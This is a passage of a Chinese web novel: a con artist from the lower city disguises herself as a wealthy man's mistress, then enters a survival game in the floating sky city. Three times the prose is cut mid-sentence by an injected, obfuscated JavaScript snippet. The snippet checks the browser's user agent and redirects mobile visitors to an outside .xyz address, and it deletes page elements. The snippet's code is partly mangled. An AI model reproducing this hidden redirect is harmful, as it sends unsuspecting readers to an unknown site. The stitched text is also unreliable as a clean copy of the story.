《赝品生存指南》 1. 情人 “夏老板,不出意外的话,我丈夫已经在前面的包厢等你了。” 贴在寻夏耳窝的微型通讯器中响起女人的嗓音,顿了顿,她又添了一句:“我丈夫一定很喜欢你今天的打扮。” 寻夏下意识低头,从上到下又将自己欣赏了一遍。 她穿一身青绿的长裙,裹身立领,盘扣斜襟,旧世界的东方民族将这种裙装称作旗袍。 丝绸面料紧贴着她的肌肤,勾勒出饱满的胸线和臀线,旗袍的开衩不高,雪白肌肤若隐若现,别有一种欲说还休的做作风味。 很好,她的胸是假的,她的屁股也是假的,但她的美丽是真的。 对了,还有她雪白的肌肤也是真的,她有白化病。 寻夏清清喉咙,将原本略带沙哑的女中音切换成娇俏温柔的女高音,向通讯器另一头的女人笑道:“准备改口吧,夫人。” “很快,他就不再是丈夫,而是前夫了。” 三天前,一位珠光宝气、雍容华贵的贵妇人,一路寻到了下城黑市的小巷深处,走进了寻夏没挂招牌、缭绕着馥郁香气的神秘小店。 贵妇人掀开层层叠叠、叮叮当当的帘幔,和暗网上的传闻一样,这家小店的店主不露面,店里只有一座柜台,柜台正中摆放一个透明的水晶球。 她盯着水晶球,迟疑着开口:“夏老板,我想请你假扮我先生的情人。” 寻夏陷在柔软的躺椅中,视线在监控屏幕上转了一圈,没有回话。 这种想让她帮忙考验自己的亲亲好男友、亲亲好老公的女客人,她见多了。她真去考验了,她们又不高兴。 她不喜欢考验人性,人性也经不起考验。 所以,她本来是不想答应的。 “三十万信用点,我会先付一半定金,另一半在任务结束后结算。” 寻夏挑眉,出手这么大方,这位是真贵妇。 但可惜了,现在的她,已经不缺钱了。 她还是没有回话。帘幔的摇摆只留下余韵,不大的小店安静下来,贵妇人略显粗重的呼吸、冷气运作的白噪音,都清晰可闻。 “另外,我还可以给你天际城的居民身份。”折磨人的沉默中,贵妇人像是下定了某种决心。她抬起下巴,声音轻而坚定。 寻夏撑起身子,坐了起来。 “临时身份?”她眯着眼开口,声音从水晶球中传出,变成了千篇一律、不起波澜的电子音。 半个世纪前,陨石坠落近海,辐射几乎波及整片大陆。 一部分有权有钱的人上人,在数百米高空之上建立一座座浮空岛,以基因为筛选标准,只允许健全民长久居住,渐渐形成了如今空气清新、绿意盎然,防辐射装置覆盖的天际城。 而无数的普通人只能留在地面,与污染、废水还有基因病作伴,为下城的混乱不堪添砖加瓦。 “是,也不是。”贵妇人答得很快。 下城居民进入天际城已是不易,需要教廷特批的通行证,也就是寻夏口中的“临时身份”;而要想拥有天际城居民身份,审查则更是严格。 贵妇人语焉不详,寻夏却没有犹豫。 “成交。”她话音落下,水晶球亮起紫光,“夫人,请把手搭在你面前的水晶球上,本店刷掌支付。” 而此刻,寻夏看着包厢大门把手处的同款透明球体,伸出的手堪堪悬在半空。 进入包厢还要掌纹识别,也不知道是在防谁,你们天际城的疑心病还真是不浅。 她不动声色地扬起微笑,改伸手敲门为双臂抱胸,咚的一声往大门上一靠,娇声道:“我要你给我开门。” 一,二,三—— 不出她所料,数到第三秒的时候,门内响起了慌乱的脚步声。 寻夏挪了两步站到门口,大门打开,露出中年男人那张闪过了不敢置信、喜出望外、心神不宁等等复杂情绪的脸。 万般思绪,最终化为一句:“宝宝,你怎么来了?” 寻夏有点想笑,但她们欺诈师是经过专业训练的,这种时候一般不会笑。 她主动挽上男人的臂弯,勾着人向包厢里走去,凑近他耳边轻声道:“放心,你老婆不会知道的。” 两人身后,一支细管唇釉正正好滚落到门缝中间,原本应该缓缓合拢的包厢大门,卡在了虚掩的位置。 “你怎么知道我和她今天约在这里吃饭?你过来是想做什么?” “不是和你说了吗,这周我要陪孩子,有什么事不能过几天——” “嘘——” 欺诈师就业指导第一条,被质问的时候,其实并不需要回答。 她温热的气息打在男人的耳垂,缕缕幽香却直勾勾钻进他的心底。 男人有一瞬的失神,停下脚步注视她的脸:“宝宝,你今天好美。” 寻夏勾起嘴角,感受着皮肤上的生物蜡随着肌肉动作发生的细微牵扯。 废话,以她的手艺,花了整整一天功夫精雕细琢捏出来的他那情人的脸,能不美吗。 她将男人按到座椅上,双手搭在腰间,在他面前转了一圈。 编成粗麻花的黑色假发落下几缕碎发,垂在脸侧。柔软的裙摆飞成喇叭花的模样,擦过男人利落的西装裤管。 寻夏向前迈了一步,弯起眼睛问他:“新衣服,喜欢吗?” 男人仰头,喉结滚动,眸光摇晃。 与此同时,隔壁包厢,通过寻夏身上的微型摄像头旁观这一切的贵妇人起身,颤抖着摁亮了个人终端。 寻夏突然弯腰倾身,恰好躲过了男人将要揽上她后腰的大手。 她心中暗道一声好险,差点让老头占了便宜,顺势探出手指,自然地点在了男人的胸口。 “好几天没见了,想我吗?” 她一边用指尖在昂贵的西装面料上打圈,一边计算着时间。那位贵妇人也差不多该现身了。 男人的后颈出了层细汗,和妻子约好带孩子一起聚餐,他却在包厢里和情人私会。理智告诉他这么做实在荒谬,但情感却在叫嚣:“三分钟,只要三分钟就好。” 反正门口录入的是他的掌纹,妻子就算到了门口,也不可能直接进来。 他于是一把抓住寻夏不安分的手指,抬脸向她的双唇寻去。 当的一声,飞速滚来的唇釉精准地撞上了椅子腿。包厢大门被一把推开,贵妇人举着终端,苍白的脸上没有任何表情。 男人扭头看过去,横冲直撞的滚烫热血在瞬间冷却凝固。 他的妻子不仅直接进来了,看到了一切,还用摄像头对准了他的脸。 “查尔斯·霍华德,这就是证据。”贵妇人的话语一字一顿地从齿间挤出,“我们离婚吧。” 霍华德?寻夏一愣。 这可是拥有合议庭世袭席位的大家族,而且她没记错的话,现任家主的名字,就叫查尔斯。 她好像掺和进大新闻里了。 不过现在还不是考虑其它事的时候。易容成男人的情人,想办法和男人亲密接触,再被妻子撞破,拍下男人出轨的铁证——还差最后一步,寻夏就能完美地完成她的任务。 “孩子、A区的三套独栋别墅,还有车库里的六辆车归我,婚内储蓄一人一半,每个月还需要你支付十万信用点作为孩子的抚养费。”贵妇人胸口的剧烈起伏渐渐平息,语速也越来越快。 “教廷的工作人员已经在楼下了,不想把事情闹大的话,我们现在就签协议。” 男人的脸色无比难看,他眼含沉沉的怒火,视线在寻夏和妻子二人之间来回。 他一拳锤在大理石桌面上,咬牙切齿:“你们合伙骗我?她答应分你多少钱?” 查尔斯还真歪打正着地蒙对了答案。 “不是的,你相信我,我也没想到会这样……”寻夏换上一副慌乱的表情,不断瞟向贵妇人的眼神,更显得她欲盖弥彰。 “相信你?我不会再信你说的任何一个字!” ——最后一步,让查尔斯对他的情人,对唯一能够揭穿这场骗局的人,彻底失去信任。 收工! 她退后几步,仿佛张皇失措地,掩面奔出包厢,然后冲进了洗手间。 两分钟之后,一个白发黑裙的女人从洗手间里走了出来。 寻夏不紧不慢地穿过走廊,用未干透的指尖将一缕不听话的白发别至耳后。她已经用特制的溶剂卸去了脸上的生物蜡与仿妆,恢复到她原本的样子——薄而苍白的肌肤,银白色的中长发,以及因黑色素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536328|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺乏而泛着淡粉色的眼眸。 走廊上有人快步与她擦肩而过,她没有留意,打开个人终端,十五万信用点的尾款显示已经到账,同一时间发来的,还有一封没有标题的邮件。 然而,她还没来得及点开邮件,擦肩而过的人去而复返,低沉的嗓音自她身侧响起。 “这位女士,烦请留步。” 叫住她的男人穿着一双军靴,深黑色的制服面料考究、版型挺括,衬托出他修长挺拔的身材。他的胸前别着一枚银制的胸章,方正的菱形中央嵌刻着一只凌厉的眼睛,这是教廷的标志。 寻夏的心猛地一跳,但她在无数次意外中锤炼的职业素养,让她在瞬间压下了所有的情绪。 她停住脚步,垂手将终端贴紧裙摆,脸上适时地浮现出一点困惑。 “您好?” 她的视线向上移,这位教廷工作人员的五官锋利而深邃,标致得像是教廷雕塑的脸部模板。 不过,他身上没有大多数教廷人的那股温吞劲儿,反而是凌冽的。他深灰色的双眸正锐利地审视着她,仿佛冬夜里结冰的湖面。 他的目光在她脸上停留了短暂又漫长的几秒,短暂到不过一次呼吸的起落,漫长到寻夏几乎要以为自己出了什么纰漏。 男人背在身后的手无意识地轻叩。 他的直觉告诉他,似乎有什么地方不对劲。可眼前女人的容貌与打扮,明明都与霍华德夫人刚刚发来的视频毫无关系。 是因为她明显的基因缺陷吗? 她不是健全民,不应该出现在天际城,除非她持有通行证。 寻夏敏锐地捕捉到了他双眼之下的暗流涌动。 “请问有什么事吗?”她率先打破了紧绷的沉默,坦然与他对视,说出一句常见的托辞,“我可能有点赶时间。” 凝滞的空气终于重新开始流动。 “仲裁者临渊,例行检查,请出示您的天际城通行证或居民身份证明。”男人主动亮明了身份,话语简洁。他也在赶时间,如果她拿的出证件,他就不会再深究。 仲裁者,似乎是教廷内部一个分量不轻的职位,一共有几人来着?五人,还是八人? 寻夏心中思索,脸上挂着一个礼貌且恭敬的微笑,从终端里调出了一段形似商品编码的条形码,递给临渊。 临渊拿出终端扫码,弹出的页面上显示出寻夏的标准证件照,还有她的身份信息。 【天际城通行证(服务者)】 【姓名:寻夏】 【性别:女】 【年龄:24岁】 【职业:高级化妆师】 【居住地:下城一区,梧桐巷88号】 【有效期:03:18:13】 通行证的效力只剩最后三个小时,寻夏必须在倒计时结束前离开天际城的关卡,怪不得她说她赶时间。 “打扰了。”临渊点头,退后一步,放她通行。 寻夏向他微微欠身致意,然后面不改色地一路向前,直到走出会所大门,才倏地收敛了笑意。 贵妇人之前向她承诺,能给她一个月的天际城居民身份。 明明今天上午入城通关的时候,通行证的有效期还有七百多个小时,现在怎么只剩三个小时了? 她攥着终端,忽然想起了那封没有标题的邮件。 她点开了那封邮件。 「尊敬的寻夏女士: 恭喜您获得“逆位游戏”进入资格!您的身份是【赝品】。 以下是【赝品】身份的游戏规则简介。 规则一:伪装成天际城居民,存活三十天。 规则二:每三天集体投票放逐一名【赝品】。 规则三:【赝品】若成功存活到最后,可以要求合议庭兑现任何一个愿望。 游戏地点:梅尔森城堡 游戏开始倒计时:03:15:08 祝您拥有神奇的三十天!」 原来是这样。 繁华的天际城华灯初上,璀璨的流光映亮了寻夏的眼眸。 “赝品”又如何?她可是下城第一欺诈师,最擅长的就是欺骗和伪装。 她已经等待这场游戏很久了——从那个人离开的那天起。 2. 意外 合议庭组织的逆位游戏,是从一年前开始的。 官方的说辞,这是一项促进天上地下两城居民友好交流的文娱活动,又能为下城居民进入天际城提供一种另类的通道; 但实际上,这就是一项面子工程。 首先,下城居民需要靠随机抽签来获取游戏进入资格,几率堪比中彩票。 其次,到今天为止,成功赢得游戏、兑现愿望的下城【赝品】人数,仍然为零。 “另外,逆位游戏也让合议庭狠狠恶心了教廷一把……”寻夏坐在从天际城向下城下降的天际电梯中,终端上关于“逆位游戏”的搜索界面不断刷新。 “……教廷要员不得不作为游戏监察官,陪着一群公主少爷还有乡下二等民一起过家家。” 公主少爷,指的是热衷于参与游戏找乐子的天际城贵族。他们喜欢看下城人在他们制定的规则下出尽洋相,证明赝品终究是赝品,不配登上天际城。 乡下二等民,指的则是他们这种来自下城的、因辐射污染而携带基因病的贱民。 寻夏轻声念完,讥讽地扯了扯嘴角。 等她结束游戏,网络上的新闻报道,就该彻底换一批了。 不过现在,她要做的是用最快的速度回到她梧桐巷88号的小店,收拾好行李,然后等那个倒霉的教廷要员监察官来接她。 邮件里说,游戏参与者可以在游戏开始前自行前往梅尔森城堡,也可以预约监察官上门接送。 自行前往,乘坐什么交通工具、有没有人送行、有没有人陪同伺候,这些都是问题。一旦被人撞见,很容易露出破绽,寻夏当然不选。 选择监察官,她会有更大的发挥空间。 她毫不犹豫地预约了最晚的上门时间,23:30,也就是游戏正式开始前半小时。 化妆品、美瞳、生物蜡、溶解剂。 假发、不同风格的服装、珠宝首饰—— 不对,首饰最容易暴露一个人的层次。寻夏顿了顿,将首饰盒放回了原位,只挑拣出一条有些陈旧的黑欧泊项链,单独装进行李箱的夹层。 四个行李箱被塞得满满当当,寻夏看了一眼墙上浮动的投影时间,正好十一点半。 清脆的叮咚声从店前传来,层叠的帘幔准时被人掀开。 “寻夏女士,该出发了。” 寻夏看向监控,一张熟悉的、两个小时前刚见过的俊脸,赫然出现在屏幕中央。 * “好巧。”寻夏站在通体深黑的浮空车旁,对正帮她把四个沉甸甸的行李箱抬进后备箱的逆位游戏监察官、教廷仲裁者、霍华德家族离婚案工作人员临渊说道。 不知道为什么,她总觉得临渊这个时候应该接一句“不巧,我在等你”。 她又有点想笑,但她及时把这个荒谬的想法挥出了脑海。 临渊用戴着黑色皮手套的大手按上后盖,公事公办道:“上车。” 他顺手拉开后排的车门,没有看她,然后径直坐上了驾驶座。 寻夏转了转她被棕褐色美瞳覆盖的眼珠,啪地一声关上了临渊刚刚打开的门,向前一步,拉开副驾驶车门,优雅而自然地坐了进去。 临渊终于抬起眼睛,瞥了她一眼。 他脸上没什么表情,嘴唇抿成一条有些严肃的直线。但他没有阻止寻夏的动作,只是沉默地发动了浮空车。 好机会。寻夏看着车窗外不断下降、缩小的下城,微微笑了起来。 “临渊……长官。可以问您几个问题吗?” 浮空车内置了智能驾驶辅助系统,临渊不用费神亲自开车,只要时不时看一眼路就好,但他还是不说话,像个哑巴。 不过没关系,不说话也是一种默许,她懂的。 “请问这一轮逆位游戏,一共有多少人参加?”第一个问题,先从最平常的开始。 “三十人。” 浮空车迅速上升,两人的耳膜都开始发涨,话音像隔着水波,听不真切。 “有合议庭世袭席位的家族成员参加吗?”寻夏的目光仍然巡游在窗外,仿佛只是随口问起。 世袭席位,是由最初建立天际城的几大家族世代把控的席位。这些家族,又被称为基因贵族,无论游戏内外,都是万众瞩目的存在。 这次哪几位要来,天际城早就有了传言,但寻夏似乎毫不知情。她作为服务者在天际城工作,难道没有听说吗? “有。”临渊迟疑了一瞬,还是给出了肯定的答案。 寻夏心头重重一跳,呼吸有片刻的停滞。 浮空车在天际城的车道上疾驰,流光溢彩的高楼大厦倒退着退场,静谧而浓郁的夜色渐渐铺开。 她眨了眨眼睛。 “那我们赝品一共有多少人?”第三个问题,是过分的问题,像一扇“破窗”,用来拉低对方的接受下限。 果然,临渊又把嘴闭上了。每一场游戏的赝品人数都不固定,他不可能把这么核心的信息透露给她。 “好吧,最后一个问题,”最后一个问题,是各退一步的问题,“如果我能存活到最后,无论什么愿望,都能——” 车窗外,明黄的光芒骤然出现,又在视野中瞬间放大。 吱嘎—— 砰—— 刺耳的刹车声、巨大的碰撞声,吞没了寻夏未说完的问题。 浮空车被一股蛮横的力量狠狠推挤,不受控制地向一侧滑去。临渊的反应速度比智能驾驶更快,手上飞速打着方向,手肘还很有公德心地挡住了向前倾倒的寻夏。 车渐渐减速停下,寻夏的头砸回座椅靠背上,弹了两弹,肋骨被安全带勒得生疼。 好吧,早知道智能驾驶这么不靠谱,她刚刚就不和临渊说那么多话了。 她伸手按住隐隐作痛的后脖颈,扭头看向冲击的来源。在他们这辆车的右后方,一辆造型夸张、金光灿灿的浮空跑车和他们的车屁股来了个亲密接触。 临渊也看到了,他五指搭着方向盘轮流敲击,眉头皱了起来。 这里离梅尔森城堡不远,属于天际城C区的郊区。那辆土豪金跑车仗着夜里人少,自顾自在车道上一路狂飙,拐弯的时候没留意,一个猛子就漂移了过来。 跑车的车灯碎了,浮空车的车尾凹了,不知道那四个行李箱有没有事,反正跑车车主看起来是没什么事。 车门自动向上掀起,一个身穿铆钉皮夹克,顶着一头酒红色短发,脖子上挂着一堆链子,耳骨上还扎了两个黑色闪电型耳钉的年轻男人长腿一迈,气势汹汹地向两位被害人走来。 “你们怎么开车的?没看到我要拐弯吗?!”他毫不顾忌黑色浮空车车顶的教廷标志,砰砰砸响副驾驶的车窗。 寻夏用两根手指压住耳朵,不动声色地把头挪远了一点。 “知不知道我这车多少钱?就你们教廷那点破工资,赔得起吗?”不仅毫不顾忌,甚至还主动挑衅,看来这位朋克男青年背景不浅。 男青年身后,跑车的另一侧车门打开,一个西装革履、戴黑框眼镜的中年男人大步追了上来。 “少爷,您父亲交代的,这次出来最好低调——” “闭嘴!”听到‘父亲’二字,青年满是戾气的双眼中,闪过一丝抑制不住的厌恶。 中年男人瞟了一眼浮空车顶上明晃晃的教廷标志,脸上顿时愁云密布。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536329|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>车窗是防窥玻璃,外面的人看不见里面,里面的人却能看见外面。 临渊在朋克男青年出现时,没有什么反应,但看到跟上来的中年男人后,却诧异地挑了挑眉。 那是霍华德家族的现任管家,他们曾经打过交道。 那么这位撞了他的车还叫嚣着要他赔偿的朋克男青年,大概就是霍华德家族的小少爷了。 又是霍华德—— 寻夏撞上临渊意味深长的一眼,撞晕的大脑终于重新开始运转起来。 什么情况?外面这一主一仆到底什么背景? 临渊仿佛看出了她的疑问,低声道:“霍华德家族次子,拉蒙·霍华德。” 在说“霍华德”三个字的时候,他刻意把语调拖慢了些,探寻的目光从寻夏脸上缓缓扫过。 他在怀疑。 确实,寻夏自己都觉得有点太巧了。下午刚帮霍华德夫人解决完她的家事,晚上又撞上了她的儿子,而临渊又都偏偏在场。 “他也是去梅尔森城堡的。”在车窗的剧烈震颤中,临渊补充了一句。 也就是说,霍华德的小儿子也要参加这次的逆位游戏,这就说得通了。这大概是霍华德夫人刻意的安排。她计划好了要把这位一看就跋扈任性的小少爷送出去,在他们闹离婚的这段时间暂避风头。 寻夏迅速串联着脑海中星星点点的线索,这是个好机会。 “本少爷忙得很,没时间陪你耗,快给我下来!”拉蒙龇牙瞪眼,一张脸几乎要贴上车窗。 临渊眼中显出不耐,手上解开安全带,作势要下车。 “等等,”寻夏喊住他,“游戏迟到的话,会有什么惩罚吗?” 她看了一眼时间,23:48,距离游戏正式开始只剩下12分钟。 “会取消本次游戏的参与资格。” “王子与庶民同罪?” 公平公正的监察官临渊点了点头。 寻夏示意他不用下车,伸出手指按下触控,摇下了自己这一侧的车窗。 一张雪白而精致的侧脸就这么猝不及防地暴露在夜色之中。月光流淌过高挺的鼻梁,在饱满的唇上降落,耳际散落的深褐色碎发被微风卷起,仿佛贪恋她脸颊的温度,缠绵不忍离去。 窗外的拳头愣住了。 寻夏没有转头,也没有分给拉蒙半个眼神,只是梗着脖子轻颤眼睫,轻而淡地开口:“上车。” 对付这种嚣张跋扈、仗势欺人的东西,最重要的就是拿捏姿态。 用一个字来概括,装;两个字,死装;三个字,比他装。 车窗外的管家闻言,立刻伸长了脖子,试图往车内打量。站在前边的拉蒙下意识后退半步,不幸踩中了管家的脚,又不得不上前半步。 “不是,你谁啊你?上什么——” “我知道你着急赶去梅尔森城堡,参加逆位游戏。”寻夏故作高深地勾起唇角,“霍华德少爷。” 突然被不知深浅的陌生人点出身份和目的地,拉蒙生出了一种仿佛被脱了一条裤子的羞耻感。 “你也不想开着这么一辆……”她屈指虚抵上唇,流露出一点恰到好处的、出于礼貌而咽下的嘲笑,“‘局部受损’的车,出现在所有人面前吧?” 拉蒙嘴角抽了抽,压下回头看一眼自己心爱跑车的冲动:“哈,你不会以为本少爷只有一辆车吧?车库里十几排,我随便再挑一辆不就行了!” “还有十分钟,逆位游戏就要开始了。” “迟到的话,可是会被取消游戏资格的。” 拉蒙嗤笑一声,正想开口,却被寻夏抢先一步。 “我说的对吗,监察官大人?” 3. 入局 话音落下,临渊配合地向前倾身,从阴影到光下,终于在车窗外两人的面前露了脸。 他面无表情地抬眼,无视了红发冲冠的拉蒙,直接与他身后的管家对视,定定颔首。 “仲裁者大人?”管家看清了他的面容,眼神里是显而易见的惊讶,“没想到这次是您亲自担任监察官。” 在教廷内部,仲裁者的地位仅次于教廷领袖“大导师”之下,一共有八人,分掌不同领域的事务。临渊掌管教廷圣卫队,虽然在仲裁者中并非核心,但他手底下的武装力量可是实打实的。 得罪这个人,对家族没有好处。 而且,他身边还坐着一位不清楚来历,但一看就气度非凡的神秘女人…… 管家当机立断,一把拉住无能狂怒的拉蒙,好声好气地劝道:“少爷,您不是一直想来玩游戏吗?好不容易夫人答应了,可别迟到错过了活动,那样也太可惜了!” 寻夏扬起一个满意的微笑。 八分钟之后,二十三点五十九分,深黑色的浮空车一路驶进庄园,在城堡正门口缓缓停下。 夜色下,华丽的巴洛克式城堡流淌着璀璨金光,像是这一片土地圈养的太阳,突兀又熠熠生辉。 车门打开,临渊率先下车,军靴踩在光洁的石阶上,踏出沉闷的声响。 然后是寻夏,她提起黑色长裙的裙摆,抬头仰望。在下城从未见过的宏伟建筑,在天际城,竟然只是一座已经废弃的游乐园的一部分。 她想到八个字,钟鸣鼎食、纸醉金迷。 最后是一脸不情不愿的拉蒙。他亲自拖着他的三个箱子,阴沉沉的视线在寻夏背后打转。 从上车开始,他就一直在用他不大的大脑思考,这个女人到底是什么人? 他一开始以为,她也是教廷大导师的一条狗。但这一路上,她和那个扑克脸监察官根本没有交流。 他于是又觉得,她大概是天际城里某个还算有几分姿色的十八线小明星。但一个卖艺的,怎么会有胆量不拿正眼看他呢?不对。 难道是合议庭中比霍华德地位更高的家族,养在外面的小情人?他对这个女人的脸毫无印象,这么解释倒是说得通。 又或者是最新款的高级仿生人?现在的科技已经进化到这种以假乱真的程度了吗?难道这一轮逆位游戏是要他们找出隐藏在玩家中的仿生人? 拉蒙的想法越来越天马行空,可他唯独没想过,她可能是来自下城的赝品。 下城?那片被抛弃的、被辐射覆盖的肮脏土地?那里的东西连仰望他的资格都没有,怎么可能用平静的眼神掠过天际城的一切,怎么可能用那种语气和他说话呢? 笑话。 “还愣着干什么,拉蒙?”寻夏没有回头,微哑的嗓音打断了他的揣测,“最后三十秒,快进去签到吧。” 拉蒙猛地回神,这才发现梅尔森城堡那扇镶嵌着彩色玻璃的大门已经被寻夏推开。她雪白的五指按在门中央,两侧的光影在她指间晕开彩虹般的光晕。 他咬了咬后槽牙,咽下本该脱口而出的那句“你也配直呼本少爷的大名?”,抢在寻夏之前进了门。 好像这样就能扳回一城似的。 寻夏垂眼,毫不在意地一笑。 从城堡大门走进去,入眼就是金碧辉煌的大厅,挑高起码有三层的高度,华丽、气派又宏伟。 大厅正中摆着一张长桌,寻夏数了数,左右各十五个座位,正好对应这一轮逆位游戏的三十位玩家。 此刻,三十张座位都是空的,只有长桌的尽头站着一位黑马甲、白衬衫的侍应生,在向他们招手。 “这边,请自助完成签到。”他伸出手掌,指向一旁一人高的身份识别仪。 二楼传来窸窸窣窣的动静,有三三两两的人群倚在栏杆上,向下张望,打量这压轴登场的三人。 “那是霍华德家的小少爷吧?他果然来了。” “听说他脾气不好,我妈特地嘱咐我离他远点,不要去招惹他。” “霍华德,道格拉斯,还有孟家……你说,我们跟着谁混?” “最后那位——是临渊!” “是圣卫队的那个临渊吗?这轮游戏的监察官是仲裁者?” 拉蒙两手插兜,一边指挥侍应生帮他操作这个操作那个,一边伸长了耳朵,装作不经意地努力听清二楼的谈话声。 但越听,他的脸色越阴沉——他听出来了,那群人讨论的焦点竟然不是他,也不是什么仲裁者监察官,而是那个莫名其妙的女人! “她是最后一位玩家了吧?” “好美啊——噢,应该是吧,十二点已经到了。” “她给我一种破碎感,她好特别,和我见过的女人都不一样。” “有人知道她的身份吗?你们几个也都不认识她?不会是下城的赝品吧!” “不能吧?她和小霍华德还有监察官一起进来的。” “你们想太多了吧,我看她就是个长得还不错的普通人。” 在远离人群的另一端,一个穿灰色条纹马甲西裤的女人打开房门走出来。她的眼神随着纷纷的议论声落到楼下,却在掠过寻夏面颊的片刻愣了一瞬。 识别仪上弹出一行绿色的“识别完成”,寻夏似有所感地抬头。 灰衣女人的房门已经合上了,门前空荡荡的,仿佛从没有人在那里出现过。一旁抱成小团的人群也渐渐收敛了话头,有人谄媚地迎上电梯门后的拉蒙,也有人安静地回到了自己的房间。 “逆位游戏正式开始,祝大家好梦。” 临渊的声音从广播中响起,寻夏刚收拾完她的四个箱子,张开双臂,陷进柔软的大床。 今夜是个平安夜。 * 第二天,寻夏是被楼下的喧哗声吵醒的。 梅尔森城堡看着富丽堂皇,没想到隔音水平和下城的老旧小区旗鼓相当。 她揉着太阳穴摁亮终端,消息列表显示有一封来自逆位游戏官方的未读邮件。 昨天签到的时候,那位侍应生向她介绍,说梅尔森城堡每天都会举办不同的集体活动,游戏参与者会在上午十点,收到当天的活动预告。 而现在是——下午两点十分?! 寻夏瞬间清醒,猛地起身,一边娴熟地扎头发戴假发,一边点开了邮件。 【初见日集市】 「今日活动预告:初见日集市 活动时间:14:00-16:00 活动地点:梅尔森城堡一楼大厅 活动规则: 一、每位玩家将随机获得“卖家”或“买家”的身份。 二、集市期间,每位卖家将拥有一个指定摊位,请卖家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536330|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从自身携带的个人物品中,选择至少一样进行展示和售卖,物品种类、性质、价值均不限。 三、买家若对某件商品感兴趣,同样可以个人物品与卖家交换,交易遵循“以物易物”原则,禁止使用信用点。 四、交易是否达成,由买卖双方协商决定。 五、卖家在物品售卖结束后,可以自行离开摊位,空闲摊位允许自由入驻。」 “以物易物啊……”寻夏低声自语。 如何选择物品,如何评估价值,如何与他人交流……这其中的每一个环节,都有可能暴露一个人的眼界。而所谓“眼界”,与身份地位、财富水平息息相关。 买家或许还可以采取相对保守的行动策略,不轻易提出交易,不过多暴露自身的信息;但卖家首先就必须要拿出一件商品进行展览,这是无法回避的。 寻夏把美瞳片戳进眼里,眨了眨眼睛,接着往下看。 「您的身份:卖家 您的摊位:A05 祝您在初见日集市中,能够有所收获。」 寻夏描眉的笔一顿。 卖家?正合她的心意。 比起保守地躲躲藏藏,她更喜欢主动出击。A05不仅是摊位,也将会是她主动搭建的第一个舞台。 寻夏迅速完成了最后的妆容修饰,晕开腮红和口红,让肤色看起来更接近养尊处优的白皙,而非病态的苍白。然后,她从行李箱中抽出了一个扁平的、深紫色丝绒质地的长盒。 盒子沉甸甸的,握在手中很有分量。 楼下的喧哗声愈发清晰,像是煮沸的水,咕嘟嘟地往上冒泡。寻夏打开房门,走廊上空无一人,显然大多数玩家都已经聚集在了楼下的活动场地。 一楼大厅的长桌旁,本来是一片开阔的空地,现在并排摆放了九个简易的摊位,A05恰好在正中央的位置。 两侧的摊位铺着各色的桌布,桌面上陈列琳琅的物品,有泛黄的书册、有指甲盖大小的芯片、有镶嵌着珠宝的镜子,甚至还有一小盆生机勃勃的绿植。买家们在摊位间流连,目光碰撞,相互试探,礼貌客气的寒暄之下暗流涌动。 但唯独中央的摊位空空如也,没有商品,没有卖家,也没有买家,在周遭的热闹中显得格外突兀。 寻夏没有丝毫迟疑,穿过人群,朝着那个空位走去。 监察官端正坐在长桌尽头,借着压下制服帽的动作,视线从她身上掠过。 有人手上挑选着商品,余光不着痕迹地一瞥;有人停住了交谈,露出玩味的笑容,明晃晃地上下打量。 “这是昨天最后签到的那个女人吗?” “第一场活动就迟到,架子可真大。” “我去看看她要卖什么。” 寻夏恍若未闻,从容在A05摊位后就坐。 她打开那只长盒,先取出一块叠放整齐的丝绒幕布,在桌上摊开。然后—— 从盒中取出了一沓塔罗牌。 她将二十二张大阿卡纳牌分成两排,整齐排列在幕布之上。牌背是深邃的暗紫色,上面用金色流沙勾勒出日月星辰的图样,在大厅灯光的映照下流转着微弱而神秘的光华。 不紧不慢地做完这一切,寻夏才抬起头,坦然迎上那些或好奇或审视的目光。 “塔罗占卜,一张牌给你一个答案。想要来试试吗?” 4. 占卜 “塔罗牌?这不是旧世界骗小孩的东西吗?” “就是啊,我只信统一进化教。” “还是不要乱说吧,宁信其有,不信其无。” “等等,重点是这是可以卖的吗?别的摊位起码都有个实物!” “我看她是没什么拿得出手的东西,打算空手套白狼。” 寻夏一句话砸下去,人群中顿时泛起一阵嗡嗡的议论。 初见日集市的介绍邮件中说,卖家售卖的物品,种类、性质、价值均不限。那么,她售卖塔罗牌占卜服务,售卖作为一项服务的“物品”,应该也是可以的吧? 寻夏向长桌尽头的监察官投去一眼。此刻,场地中大半注意力都集中在了姗姗来迟的她的身上,临渊不可能没有听见她的广告语,也不可能没有看见她的所作所为。 但他只是两手交叠放在桌上,深灰的眼睛看不出情绪,目光平等地在全场巡回,没有分给她半点多余的关注。 